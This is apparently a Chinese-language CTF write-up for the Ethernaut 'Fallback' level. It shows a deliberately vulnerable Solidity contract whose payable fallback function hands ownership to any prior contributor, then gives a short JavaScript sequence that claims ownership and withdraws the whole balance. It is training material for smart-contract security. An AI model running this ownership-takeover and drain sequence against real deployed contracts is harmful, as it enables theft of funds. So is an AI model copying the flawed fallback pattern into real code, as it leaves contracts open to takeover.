题目来自于 Ethernaut
Require
you claim ownership of the contract
you reduce its balance to 0
Source
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallback is Ownable {
using SafeMath for uint256;
mapping(address => uint) public contributions;
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] = contributions[msg.sender].add(msg.value);
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
Analyse
-
合约可以有一个未命名的函数。这个函数不能有参数也不能有返回值。 如果在一个到合约的调用中,没有其他函数与给定的函数标识匹配(或没有提供调用数据),那么这个函数(
fallback
函数)会被执行。除此之外,每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback
函数必须标记为payable
。 -
很明显我们如果通过反复调用
contribute
来触发owner
不现实,因为我们每次最多向合约贡献不大于0.001 ether
,而要超过owner
需要1000 ether
(构造函数赋予owner
的)。但我们惊喜地发现fallback
函数同样可以改变owner
的值,那么对应的操作就非常清晰了:
- 调用合约的
contribute
使得合约中我们账户对应的balance
大于0
- 触发
fallback
函数使得合约对应的owner
变成我们 - 调用
withdraw
函数清空balance
Solution
// step 1
await contract.contribute({value: 1});
// step 2,使用 sendTransaction 函数触发 fallback 函数执行
await contract.sendTransaction({value: 1});
// step 3
await contract.withdraw();
// 此时调用 owner 函数可以确认合约的 owner 是否已经变成了我们所对应的地址了
await contract.owner();
网友评论